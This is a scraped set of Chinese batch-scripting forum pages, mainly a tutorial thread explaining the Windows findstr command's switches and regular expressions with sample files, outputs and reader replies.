UID
5
帖子
1348
精华
8
积分
5096
PB
4236
技术
113
捐助
501
阅读权限
254
来自
四川－成都
在线时间
1842 小时
注册时间
2007-10-25
最后登录
2013-6-19

荣誉版主

帖子
1348
积分
5096
技术
113
捐助
501
注册时间
2007-10-25
12楼
发表于 2009-6-8 22:51 | 只看该作者
    应该是在test.txt中查找字符串，是我写漏了，已经在顶楼补上了，谢谢提醒。
尺有所短寸有所长，学好批处理没商量；
考虑问题复杂化，解决问题简洁化。
心在天山，身老沧州。
回复 引用

评分 报告 TOP

dali
  • 发短消息
  • 加为好友

dali 当前离线

UID
12869
帖子
14
精华
0
积分
144
PB
144
技术
0
捐助
0
阅读权限
20
在线时间
18 小时
注册时间
2009-5-8
最后登录
2009-10-14

一级士官

帖子
14
积分
144
技术
0
捐助
0
注册时间
2009-5-8
13楼
发表于 2009-6-11 09:37 | 只看该作者
不错 写出来总是比检查比人的难
回复 引用

评分 报告 TOP

wangxin016
  • 发短消息
  • 加为好友

wangxin016 当前离线

UID
14287
帖子
9
精华
0
积分
119
PB
119
技术
0
捐助
0
阅读权限
20
在线时间
5 小时
注册时间
2009-6-11
最后登录
2009-11-4

一级士官

帖子
9
积分
119
技术
0
捐助
0
注册时间
2009-6-11
14楼
发表于 2009-6-11 15:49 | 只看该作者
是不是咱们批处理只支持txt么？
回复 引用

评分 报告 TOP

Batcher
  • 发短消息
  • 加为好友

Batcher 当前离线

UID
2725
帖子
8626
精华
1
积分
37463
PB
36322
技术
207
捐助
510
阅读权限
255
在线时间
5842 小时
注册时间
2008-6-9
最后登录
2018-6-2

管理员

帖子
8626
积分
37463
技术
207
捐助
510
注册时间
2008-6-9
15楼
发表于 2009-6-11 20:46 | 只看该作者

回复 14楼 的帖子

不是
【扫描二维码捐助论坛的朋友请留言注明论坛账号】
【批处理在线视频分享】http://bbs.bathome.net/thread-31727-1-1.html
【微信公众号、微信群、QQ群】http://bbs.bathome.net/thread-3473-1-1.html
回复 引用

评分 报告 TOP

1 2 3 下一页
返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:00, Processed in 0.051647 second(s), 8 queries, Gzip enabled.


13、字符串查找增强：findstr

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? [批处理命令一日一教学 续]（13）字符串查找增强：findstr
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
1 2 下一页
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
1楼 跳转到 ? 倒序看帖
打印
t T
发表于 2011-11-14 15:47 | 只看该作者

[原创] [批处理命令一日一教学 续]（13）字符串查找增强：findstr

【原】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-2576-1-1.html
【续】[一日一教学]批处理系列帖子索引 http://bbs.bathome.net/thread-13798-1-1.html

帮助信息：
  1. 在文件中寻找字符串。

  2.

  3. FINDSTR [/B] [/E] [/L] [/R] [/S] [/I] [/X] [/V] [/N] [/M] [/O] [/P] [/F:file]

  4.         [/C:string] [/G:file] [/D:dir list] [/A:color attributes] [/OFF[LINE]]

  5.         strings [[drive:][path]filename[ ...]]

  6.

  7.   /B         在一行的开始配对模式。

  8.   /E         在一行的结尾配对模式。

  9.   /L         按字使用搜索字符串。

  10.   /R         将搜索字符串作为正则表达式使用。

  11.   /S         在当前目录和所有子目录中搜索匹配文件。

  12.   /I         指定搜索不分大小写。

  13.   /X         打印完全匹配的行。

  14.   /V         只打印不包含匹配的行。

  15.   /N         在匹配的每行前打印行数。

  16.   /M         如果文件含有匹配项，只打印其文件名。

  17.   /O         在每个匹配行前打印字符偏移量。

  18.   /P         忽略有不可打印字符的文件。

  19.   /OFF[LINE] 不跳过带有脱机属性集的文件。

  20.   /A:attr    指定有十六进位数字的颜色属性。请见 "color /?"

  21.   /F:file    从指定文件读文件列表 (/ 代表控制台)。

  22.   /C:string  使用指定字符串作为文字搜索字符串。

  23.   /G:file    从指定的文件获得搜索字符串。 (/ 代表控制台)。

  24.   /D:dir     查找以分号为分隔符的目录列表

  25.   strings    要查找的文字。

  26.   [drive:][path]filename

  27.              指定要查找的文件。

  28.

  29. 除非参数有 /C 前缀，请使用空格隔开搜索字符串。

  30. 例如: 'FINDSTR "hello there" x.y' 在文件 x.y 中寻找 "hello" 或

  31. "there"。'FINDSTR /C:"hello there" x.y' 文件 x.y  寻找

  32. "hello there"。

  33.

  34. 正则表达式的快速参考:

  35.   .        通配符: 任何字符

  36.   *        重复: 以前字符或类出现零或零以上次数

  37.   ^        行位置: 行的开始

  38.   $        行位置: 行的终点

  39.   [class]  字符类: 任何在字符集中的字符

  40.   [^class] 补字符类: 任何不在字符集中的字符

  41.   [x-y]    范围: 在指定范围内的任何字符

  42.   \x       Escape: 元字符 x 的文字用法

  43.   \<xyz    字位置: 字的开始

  44.   xyz\>    字位置: 字的结束

  45.

  46. 有关 FINDSTR 常见表达法的详细情况，请见联机命令参考。
复制代码
这则帮助信息中，我将“一般表达式”，全部替换成了“正则表达式”（一切都是机器翻译惹的祸）。

命令概括：
findstr，全英文find string，意为“查找字符串”；

/b，全英文begin，意为“开始”；
/e，全英文end，意为“末端”；
/l，literally，意为“照字面地”；引申为“去正则表达式”。
/r,regular，意为“有规律的”；引申为“正则表达式”。
/s，subdirectory，意为“子目录”；
/i，ignore，意为“忽略”；引申为“忽略大小写”；
/x，exactly，意为“恰好地”；引申为“完全匹配”；（一开始意为不是这个单词，不过HAT确实高明——之所以以e为缩写，是因为前面有了end的缩写，所以以第二个字母x为缩写）。
/v，invert，意为“反转、使颠倒”（感谢doupip的单词提供）；
/n，全英文number，意为“数字”；引申为“行号”；
/m，merely，意为“只是”；
/o,offset，意为“偏移”；
/p，print，意为“打印”；
/off[line]，意为“脱机文件”；
/a，attribute，意为“属性”；
/f，file，意为“文件”；
/c，case，意为“把几个字加起来”；引申为“全部字匹配”；
/g，get，意为“获得”；
/d，directory，意为“目录”；
class，类。

感谢HAT的单词提供。

感谢weichengxiehou。

参数详解部分13-14节都是从weichengxiehou的帖子里复制来的（既然有现成了，省心多少），原帖地址。

参数详解：
学习findstr需要大量的实践体会，所以需要新建一些txt文本以供测试。

a.txt的内容（a.txt的内容在后面会多次修改，请注意！）：
  1. Hello World

  2. Hello Boy

  3. hello ,good man.

  4. goodbye!
复制代码
1.最简单的应用：在指定文本中查找指定字符串
代码：
  1. findstr "hello" a.txt
复制代码
结果：
  1. C:\Users\helloworld\Desktop>findstr "hello" a.txt

  2. hello ,good man.
复制代码
代码：
  1. findstr "Hello" a.txt
复制代码
结果：
  1. C:\Users\helloworld\Desktop>findstr "Hello" a.txt

  2. Hello World

  3. Hello Boy
复制代码
这里可以看出，
findstr默认是区分大小写的（跟find命令一样）——找hello就不会出现Hello，反之亦然。

怎么让其不区分大小写呢？
用/i参数！
例如：
  1. C:\Users\helloworld\Desktop>findstr /i "Hello" a.txt

  2. Hello World

  3. Hello Boy

  4. hello ,good man.
复制代码
2.显示要查找的字符具体在文本哪一行
代码：
  1. C:\Users\helloworld\Desktop>findstr /n /i "hello" a.txt
复制代码
效果：
  1. 1:Hello World

  2. 2:Hello Boy

  3. 3:hello ,good man.
复制代码
显示的结果中冒号（:）是英文格式下的，在用for提取的时候需要注意！

这里可以对比一下find命令的/n参数：
代码：
  1. C:\Users\helloworld\Desktop>find /n "hello" a.txt
复制代码
效果：
  1. ---------- A.TXT

  2. [3]hello ,good man.
复制代码
冒号（:）和中括号（[]），这就是差别，编写代码的时候一定要注意。

3.查找包含了指定字符的文本
代码：
  1. C:\Users\helloworld\Desktop>findstr /m /i "hello" *.txt
复制代码
效果：
  1. 1.txt

  2. a.txt
复制代码
1.txt中的类容如下：
  1. 除非参数有 /C 前缀，请使用空格隔开搜索字符串。

  2. 例如: 'FINDSTR "hello there" x.y' 在文件 x.y 中寻找 "hello" 或

  3. "there"。'FINDSTR /C:"hello there" x.y' 文件 x.y  寻找

  4. "hello there"。
复制代码
由于加上了/m参数，所以只列出包含指定字符的文件名。

4.查找以指定字符开始或结尾的文本行
这个功能和前面介绍的最大不同就在于涉及到了“元字符”，如果你不明白什么是“元字符”，那也不用担心学不好这一节，这就好像不明白“water”是什么，也不会影响喝水。

a.txt内容：
  1. good hello

  2. 你好 hello world

  3. Hello World

  4. Hello Boy

  5. hello ,good man.

  6. goodbye!
复制代码
如何查找以hello（忽略大小写）开始的行？

两种方法：

①./b参数
代码：
  1. C:\Users\helloworld\Desktop>findstr /b /i "hello" a.txt
复制代码
效果：
  1. Hello World

  2. Hello Boy

  3. hello ,good man.
复制代码
good hello 和 你好 hello world，这两行都没有显示出来，因为hello不在行的开始处。

②.^符
这里的^可不是转义符，而是正则表达式中的“匹配行开始的位置”。
代码：
  1. C:\Users\helloworld\Desktop>findstr  /i "^hello" a.txt
复制代码
效果：
  1. Hello World

  2. Hello Boy

  3. hello ,good man.
复制代码
学完了以查找指定字符开始的行，下面学习查找以指定字符结尾的行。

如何查找以hello（忽略大小写）结尾的行？
同样有两种方法：

①./e参数
代码：
  1. C:\Users\helloworld\Desktop>findstr /e /i "hello" a.txt
复制代码
结果：
  1. good hello
复制代码
只显示了“good hello”，因为其它行虽然有“hello”，但是他们都没有以“hello”结尾。

②.$符
代码：
  1. C:\Users\helloworld\Desktop>findstr  /i "hello$" a.txt
复制代码
结果：
  1. good hello
复制代码
到此，我们已经学习了两个正则表达式的元字符：^和$（分别和他们功能相对应的有/b、/e参数）。

5.查找与指定字符完全匹配的行

首先修改a.txt的内容：
  1. hello

  2. hello hello

  3. good hello

  4. 你好 hello world

  5. Hello World

  6. Hello Boy

  7. hello ,good man.

  8. goodbye!
复制代码
懂得举一反三的的童鞋可能会试着尝试以下代码：
  1. C:\Users\helloworld\Desktop>findstr /n /i "^hello$" a.txt
复制代码
结果让你倍感欣喜：
  1. 1:hello
复制代码
其实除了这一种方法外，findstr命令还提供了/x参数用来查找完全匹配的行。
代码：
  1. C:\Users\helloworld\Desktop>findstr /n /i /x "hello" a.txt
复制代码
结果：
  1. 1:hello
复制代码
.

6.关闭正则表达式会怎么样？
我们可以人为地将findstr分为两种模式，“正则表达式模式”和“普通字符串模式”。

findstr默认为“正则表达式模式”，加上/r参数也是“正则表达式模式”（换言之，/r参数有点多余）。
加上/l参数后，findstr转换为“普通字符串模式”（其实find就是这种模式、且只有这种模式）。

“普通字符串模式”下，以同样的代码，看看结果怎样？
代码：
  1. C:\Users\helloworld\Desktop>findstr /li "^hello" a.txt
复制代码
结果什么都没显示出来。

以hello开头的行明明有以下这些，为什么没显示出来呢？
  1. hello hello

  2. Hello World

  3. Hello Boy

  4. hello ,good man.
复制代码
因为，当你使用“普通字符串模式”，findstr不会把^当做是正则表达式的元字符，而只是把其当做普通字符^，也就是说它此时已经不具备“表示行首”的功能，变成了和h之类字符一样的普通民众，再也没“特权”。

改变a.txt的内容：
  1. ^hello

  2. hello

  3. hello hello

  4. good hello

  5. 你好 hello world

  6. Hello World

  7. Hello Boy

  8. hello ,good man.

  9. goodbye!
复制代码
再次运行代码：
  1. C:\Users\helloworld\Desktop>findstr /nli "^hello" a.txt
复制代码
结果：
  1. 1:^hello
复制代码
.

7.查找不包含指定字符的行
如果比较一下find和findstr命令就会发现，他们都具有/v，/n,/i,/off[line]参数，而且功能都是一摸一样的，这里说的就是/v参数。

查找不包含hello的行。
代码：
  1. C:\Users\helloworld\Desktop>findstr /vni "hello" a.txt
复制代码
结果：
  1. 9:goodbye!
复制代码
.

8.如何查找当前目录及子目录下文件内容中包含某字符串的文件名？

在写这篇教程的时候，偶然看到有批友问了这个问题，问题地址：http://bbs.bathome.net/viewthread.php?tid=14727

代码：
  1. findstr /ms "专业" *.txt
复制代码
效果：
找出当前目录及子目录下文件内容中包含“专业”的文本文件，并只显示其文件名。

9.用文本制定要查找的文件 And 用文本制定要查找的字符串

用文本制定要查找的文件

新建一个file.txt，内容如下（这个文本中指定findstr要查找的文本的路径）：
  1. C:\Users\helloworld\Desktop\1.txt

  2. C:\Users\helloworld\Desktop\a.txt

  3. C:\Users\helloworld\Desktop\clip.txt

  4. C:\Users\helloworld\Desktop\CrLf 批处理笔记.txt

  5. C:\Users\helloworld\Desktop\file.txt

  6. C:\Users\helloworld\Desktop\MyRarHelp.txt

  7. C:\Users\helloworld\Desktop\test.txt

  8. C:\Users\helloworld\Desktop\红楼.txt

  9. C:\Users\helloworld\Desktop\520\新建文本文档.txt

  10. C:\Users\helloworld\Desktop\520\12\hello_ world.txt

  11. C:\Users\helloworld\Desktop\编程\help.txt

  12. C:\Users\helloworld\Desktop\编程\win7 help比xp help多出来的命令.txt

  13. C:\Users\helloworld\Desktop\编程\wmic.txt
复制代码
.

代码：
  1. C:\Users\helloworld\Desktop>findstr /f:file.txt /im "hello"
复制代码
效果：
  1. C:\Users\helloworld\Desktop\1.txt

  2. C:\Users\helloworld\Desktop\a.txt

  3. C:\Users\helloworld\Desktop\CrLf 批处理笔记.txt

  4. C:\Users\helloworld\Desktop\file.txt

  5. C:\Users\helloworld\Desktop\test.txt
复制代码
.

用文本制定要查找的字符串

新建一个string.txt，内容如下（这个文本中指定findstr要查找的字符串）：
  1. ^hello

  2. world
复制代码
.

a.txt
  1. ^hello

  2. hello

  3. hello hello

  4. good hello

  5. 你好 hello

  6. Hello World

  7. Hello Boy

  8. hello ,good man.

  9. goodbye!
复制代码
代码：
  1. C:\Users\helloworld\Desktop>findstr /ig:string.txt a.txt
复制代码
效果：
  1. hello

  2. hello hello

  3. Hello World

  4. Hello Boy

  5. hello ,good man.
复制代码
.

被忽略的行
  1. ^hello

  2. good hello

  3. 你好 hello

  4. goodbye!
复制代码
.

从被忽略的“^hello”可以看出，在不加/l参数的前提下，用/g指定的搜索字符串中如果含有“元字符”，则作为正则表达式使用，而不是作为普通表达式。

10.搜索一个完全匹配的句子

其实findstr自带的帮助中就有个很好的例子：

例如: 'FINDSTR "hello there" x.y' 在文件 x.y 中寻找 "hello" 或
"there"。'FINDSTR /C:"hello there" x.y' 文件 x.y 寻找
"hello there"。

可以以这个例子来做个测试。
a.txt
  1. hello there

  2. hellothere

  3. hello

  4. there
复制代码
.

代码：
  1. C:\Users\helloworld\Desktop>findstr /ic:"hello there" a.txt
复制代码
结果：
  1. hello there
复制代码
这就是句子的完全匹配了。

11.搜索一个完全匹配的词。
这里也涉及到了两个元字符：\<，\>。

先试看一个例子。
a.txt
  1. far there

  2. farthere

  3. there

  4. far

  5. farm

  6. farmer
复制代码
.

代码：
  1. C:\Users\helloworld\Desktop>findstr "far" a.txt
复制代码
结果：
  1. far there

  2. farthere

  3. far

  4. farm

  5. farmer
复制代码
.

我的本意是要查找含有“far”这个单词的行，但是farthere、farm、farmer却显示出来了，这不是我想要的结果。

如果只要求显示含有“far”这个单词的行，该怎么写呢？
代码：
  1. C:\Users\helloworld\Desktop>findstr "\<far\>" a.txt
复制代码
结果：
  1. far there

  2. far
复制代码
.

12.指定要查找的目录

/d参数我一直把它和/f、/g归为一类，但其实二者截然不同，/f、/g是用文本文件制定要查找的文件、字符串，而/d是直接书写目录名到命令中。

代码：
  1. C:\Users\helloworld\Desktop>findstr /imd:520;编程; ".*" "*.txt"
复制代码
结果：
  1.  520:

  2. hello.txt

  3.   编程:

  4. help.txt

  5. win7 help比xp help多出来的命令.txt

  6. wmic.txt
复制代码
查找在520、编程目录中所有包含任意字符的txt文件。

13.统计字符数
/o:在每行前打印字符偏移量，在找到的每行前打印该行首距离文件开头的位置，也就是多少个字符，如test.txt中有如下内容：
  1. aaaaaaaaaa

  2. aaaaaaaaaa

  3. aaaaaaaaaa

  4. aaaaaaaaaa

  5. aaaaaaaaaa

  6. aaaaaaaaaa
复制代码
执行命令：
  1. findstr /o .* test.txt
复制代码
::上一行中的.*为正则表达式的内容，表示任意行，包含空行
结果如下：
  1. 0:aaaaaaaaaa

  2.

  3. 12:aaaaaaaaaa

  4.

  5. 24:aaaaaaaaaa

  6.

  7. 36:aaaaaaaaaa

  8.

  9. 48:aaaaaaaaaa
复制代码
注意每行末尾的回车换行符算两个字符。

14.以指定颜色显示文件名
/a:当被搜索文件名中含有通配符*或?时对搜索结果的文件名部分指定颜色属性，具体颜色值参见color帮助：
0 = 黑色 8 = 灰色
1 = 蓝色 9 = 淡蓝色
2 = 绿色 A = 淡绿色
3 = 浅绿色 B = 淡浅绿色
4 = 红色 C = 淡红色
5 = 紫色 D = 淡紫色
6 = 黄色 E = 淡黄色
7 = 白色 F = 亮白色
常用于彩色显示，举个简单的例子，想要彩色显示“批处理之家”怎么办，假如当前的color设置为27（背景绿色，字体白色），用蓝色显示“批处理之家”咋办？::下一行的退格符可以在cmd的编辑模式下按ctrl+p后按退格键获得
  1. >"批处理之家" set /p=<nul

  2.

  3. findstr /a:21 .* "批处理之家*"

  4.

  5. pause
复制代码
代码中的退格符是为了让显示的内容仅为"批处理之家",如果有其他内容，在彩色显示的"批处理之家"后还有一个冒号和其他内容，退格符正好将冒号删除。注意代码中的通配符是必须的。

15.findstr中的元字符
下载 (7.35 KB)
2013-11-11 21:20

16.未讲解的内容:/p，/off[line]

这两个命令不明白是什么意思，因为不知道什么是“不可打印字符”、“带有脱机属性集的文件”，望有识之士给予解答。

扩展阅读：

1.什么是正则表达式：http://zh.wikipedia.org/zh/%E6%A ... 8%E8%BE%BE%E5%BC%8F

2.正则表达式30分钟入门教程（非常好的教程，极力推荐）：http://deerchao.net/tutorials/regex/regex.htm
3

评分人数

    • zhonglumthgh: 感谢分享技术 + 1
    • Batcher: Good work!技术 + 1
    • cjiabing: 支持下，辛苦了！PB + 12 技术 + 1
收藏 分享
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告

CrLf
  • 发短消息
  • 加为好友

CrLf 当前离线

UID
30406
帖子
6273
精华
2
积分
18545
PB
15608
技术
939
捐助
100
阅读权限
255
在线时间
5383 小时
注册时间
2010-10-9
最后登录
2018-6-3

论坛巡查

帖子
6273
积分
18545
技术
939
捐助
100
注册时间
2010-10-9
2楼
发表于 2011-11-14 17:13 | 只看该作者
大工程...
链接：在线第三方命令行工具下载 bat、vbs、js 原生混编
回复 引用

评分 报告 TOP

HAT
  • 发短消息
  • 加为好友

HAT 当前离线

UID
4024
帖子
378
精华
0
积分
1149
PB
1071
技术
26
捐助
0
阅读权限
50
在线时间
83 小时
注册时间
2008-8-21
最后登录
2018-4-9

上尉

帖子
378
积分
1149
技术
26
捐助
0
注册时间
2008-8-21
3楼
发表于 2011-11-14 23:08 | 只看该作者
/L Uses search strings literally.
/R Uses search strings as regular expressions.
/X Prints lines that match exactly.
1

评分人数

    • Hello123World: chcp 437，多谢，一时竟然没想起。PB + 6
回复 引用

评分 报告 TOP

wankoilz
  • 发短消息
  • 加为好友

wankoilz 当前离线

UID
2707
帖子
393
精华
0
积分
1051
PB
861
技术
30
捐助
100
阅读权限
50
来自
重庆
在线时间
707 小时
注册时间
2008-6-5
最后登录
2018-4-28

上尉

帖子
393
积分
1051
技术
30
捐助
100
注册时间
2008-6-5
4楼
发表于 2011-12-1 07:22 | 只看该作者
好文，顶一个！
回复 引用

评分 报告 TOP

bingxing8000
  • 发短消息
  • 加为好友

bingxing8000 当前离线

UID
36449
帖子
94
精华
0
积分
137
PB
134
技术
1
捐助
0
阅读权限
20
在线时间
852 小时
注册时间
2011-4-15
最后登录
2018-5-23

一级士官

帖子
94
积分
137
技术
1
捐助
0
注册时间
2011-4-15
5楼
发表于 2011-12-1 08:08 | 只看该作者
非常棒，好好学习。
赞成“拿来主义”，但是鄙视“伸手党”
回复 引用

评分 报告 TOP

doupip
  • 发短消息
  • 加为好友

doupip 当前离线

UID
17864
帖子
26
精华
0
积分
173
PB
173
技术
0
捐助
0
阅读权限
20
在线时间
34 小时
注册时间
2009-9-28
最后登录
2013-11-26

二级士官

帖子
26
积分
173
技术
0
捐助
0
注册时间
2009-9-28
6楼
发表于 2011-12-23 10:19 | 只看该作者
本帖最后由 doupip 于 2011-12-23 10:31 编辑

楼主辛苦~
  1. /v，未知；
复制代码
/v参数也是一个通用项.英文表达是invert-match 即反选,反转匹配模式 =select non-matching
在linux中的许多命令中也适用,只不过linux中是严格区分大小分,此参数用的是-V
  1. /c，case，意为“把几个字加起来”；引申为“全部字匹配”；
复制代码
/c:string Uses specified string as a literal search string. 如果要用英文单词来帮助记忆的话,我觉得是character string更合适.
1

评分人数

    • Hello123World: 感谢关注，已修改PB + 6
回复 引用

评分 报告 TOP

yyykkkyyyy
  • 发短消息
  • 加为好友

yyykkkyyyy 当前离线

UID
43087
帖子
80
精华
0
积分
179
PB
110
技术
23
捐助
0
阅读权限
20
在线时间
359 小时
注册时间
2011-11-1
最后登录
2016-1-16

二级士官

帖子
80
积分
179
技术
23
捐助
0
注册时间
2011-11-1
7楼
发表于 2011-12-24 23:02 | 只看该作者
我来学习的同时,把我摸索出的一点 /r 应用说一下 ：
看到/c 参数 很容易知道——如果希望查找匹配项是含空格的一串字符，而不是分别匹配空格分隔的多项，可以加/c: 如
  1. echo a bc|findstr/c:"a bc"
复制代码
可是必须空格数也要准确一致，如果希望能匹配字符串中含不定数目的空格呢？/r 就发挥作用了
  1. echo a    bc|findstr/rc:"a\ *b"
复制代码
1

评分人数

    • Hello123World: 研究的忒透彻了技术 + 1
回复 引用

评分 报告 TOP

cjiabing
  • 发短消息
  • 加为好友

cjiabing (甲兵时代)当前离线

UID
7853
帖子
1726
精华
2
积分
4473
PB
4191
技术
94
捐助
0
阅读权限
254
在线时间
1302 小时
注册时间
2008-12-21
最后登录
2016-8-29

荣誉版主

帖子
1726
积分
4473
技术
94
捐助
0
注册时间
2008-12-21
8楼
发表于 2011-12-30 19:22 | 只看该作者
其他的不是很难，关键是正则表达式这里最好多点例子。
寂寞是黑白的，但黑白不是寂寞，是永恒。BAT 需要的不是可能，而是智慧。
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
9楼
发表于 2011-12-30 23:04 | 只看该作者
回复 7# yyykkkyyyy
  1. echo a    bc|findstr/rc:"a\ *b"
复制代码
这个确实是意料之外的，那本《正则表达式入门经典》信誓旦旦的说“即使不指定/r，这也是默认行为”——其它测试这个说法是没问题的，但在空格这点上确实加了/r才会有结果。

莫非猫腻在“\”这个特殊的转义符？
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
捐助
0
注册时间
2010-10-23
10楼
发表于 2011-12-30 23:12 | 只看该作者
我明白了！不在于“\”这个符号，“即使不指定/r，这也是默认行为”也没有错，关键是/c的特性——将字符链接起来，有去正则表达式的效果。

证明：
Findstr ".*" 1.txt
显示所有1.txt中的内容

Findstr /c:".*" 1.txt
什么也不显示，因为1.txt中没有包含“.*”的项。
如果用到sed命令，须下载sed.exe到c:\windows\system32文件夹中。
回复 引用

评分 报告 TOP

HAT
  • 发短消息
  • 加为好友

HAT 当前离线

UID
4024
帖子
378
精华
0
积分
1149
PB
1071
技术
26
捐助
0
阅读权限
50
在线时间
83 小时
注册时间
2008-8-21
最后登录
2018-4-9

上尉

帖子
378
积分
1149
技术
26
捐助
0
注册时间
2008-8-21
11楼
发表于 2011-12-30 23:22 | 只看该作者
回复 8# cjiabing

正则表达式简介
http://www.bathome.net/thread-4485-1-1.html

批处理findstr命令正则表达式的基本用法
http://www.bathome.net/thread-24-1-1.html
回复 引用

评分 报告 TOP

cjiabing
  • 发短消息
  • 加为好友

cjiabing (甲兵时代)当前离线

UID
7853
帖子
1726
精华
2
积分
4473
PB
4191
技术
94
捐助
0
阅读权限
254
在线时间
1302 小时
注册时间
2008-12-21
最后登录
2016-8-29

荣誉版主

帖子
1726
积分
4473
技术
94
捐助
0
注册时间
2008-12-21
12楼
发表于 2012-4-16 22:55 | 只看该作者
在处理一些字符（比如有时候是中文，没有总结）时，用findstr /r 或findstr /l 试试。
寂寞是黑白的，但黑白不是寂寞，是永恒。BAT 需要的不是可能，而是智慧。
回复 引用

评分 报告 TOP

xhhivi
  • 发短消息
  • 加为好友

xhhivi 当前离线

UID
46822
帖子
8
精华
0
积分
23
PB
23
技术
0
捐助
0
阅读权限
5
在线时间
11 小时
注册时间
2012-4-5
最后登录
2012-5-4

列兵

帖子
8
积分
23
技术
0
捐助
0
注册时间
2012-4-5
13楼
发表于 2012-4-16 23:43 | 只看该作者
感谢出了续集，学习下
回复 引用

评分 报告 TOP

clonecd
  • 发短消息
  • 加为好友

clonecd 当前离线

UID
24102
帖子
19
精华
0
积分
19
PB
19
技术
0
捐助
0
阅读权限
5
在线时间
72 小时
注册时间
2010-4-25
最后登录
2013-8-19

列兵

帖子
19
积分
19
技术
0
捐助
0
注册时间
2010-4-25
14楼
发表于 2012-5-16 14:21 | 只看该作者
支持了，我很久到这里看看了。
回复 引用

评分 报告 TOP

baihaijiao101
  • 发短消息
  • 加为好友

baihaijiao101 当前离线

UID
53086
帖子
5
精华
0
积分
30
PB
27
技术
1
捐助
0
阅读权限
5
在线时间
4 小时
注册时间
2012-10-18
最后登录
2013-4-7

列兵

帖子
5
积分
30
技术
1
捐助
0
注册时间
2012-10-18
15楼
发表于 2013-3-1 19:18 | 只看该作者
find "\<XXX\>" xxx.txt查找字符串的时候会将特殊字符（非字母数字）视为合法，如xx.txt内容为：
hello&%$+
hello world
helloworld
执行命令：findstr /i "\<hello\>" 123.txt
结果为：
hello&%$+
hello world
感觉这两个元字符确实有些不足呀！
1

评分人数

    • xuhuoren: 确实啊，看来在设计的时候没有考虑到这种特 ...技术 + 1
回复 引用

评分 报告 TOP

1 2 下一页
返回列表
高级模式 | 发新话题
B Color Image Link Quote Code Smilies

批处理专区: BAT CMD DOS
  • BAT求助&讨论
  • BAT教程&资料
  • BAT原创&转载
  • BAT新大陆
  • BAT转载代码
  • 新手练功
  • 出题挑战
  • 有偿求助
  • 第三方命令行
  • 开源原创工具
  • iBAT
其他脚本区
  • PowerShell求助&讨论
  • PowerShell教程&资料
  • PowerShell原创&转载
  • VBS求助&讨论
  • JS / JScript / JavaScript
  • VBS教程&资料
  • VBS原创&转载
  • UNIX/Linux Shell
  • Python
  • Perl
网络资源区
  • 电脑技术研讨
  • 精品软件交流
  • 文字消遣
论坛事务区
  • 站务交流
  • 意见反馈
  • 论坛公告
  • 版主申请
  • 交换链接
  • 建站杂谈
  • 活动专区
  • 论坛总版规
[收藏此主题] [关注此主题的新回复]
[通过 QQ、MSN 分享给朋友]

[通过站内短消息分享给朋友]

批处理之家 ( 渝ICP备10000708号)| 联系我们 | Archiver | 站长统计

GMT+8, 2018-6-3 21:04, Processed in 0.070377 second(s), 9 queries, Gzip enabled.


14、文件替换：replace

:) | :victory: | :time: | :kiss: | :handshake | :call: | :loveliness: | :funk:
:curse: | :dizzy: | :shutup: | :hug: | :lol | :( | :D | :'(
 | :o | :P | :$ | ;P | :L | :Q | :sleepy:

繁體中文 geekcat | 提醒 短消息 论坛任务 | 个人中心 退出
  • 论坛
  • 搜索
  • 帮助
  • 导航
  • 私人消息 (0)
  • 公共消息 (0)
  • 论坛任务 (0)
  • 系统消息 (0)
  • 好友消息 (0)
  • 帖子消息 (0)
批处理之家 ? BAT教程&资料 ? 【续】[一日一教学]（14）文件替换：replace
[视频教程]批处理基础视频教程 [视频教程]VBS基础视频教程 批处理在线视频分享
返回列表 回复 发帖
Hello123World
  • 发短消息
  • 加为好友

Hello123World 当前离线

UID
30829
帖子
981
精华
0
积分
1503
PB
1280
技术
71
捐助
0
阅读权限
254
在线时间
427 小时
注册时间
2010-10-23
最后登录
2017-3-4

荣誉版主

帖子
981
积分
1503
技术
71
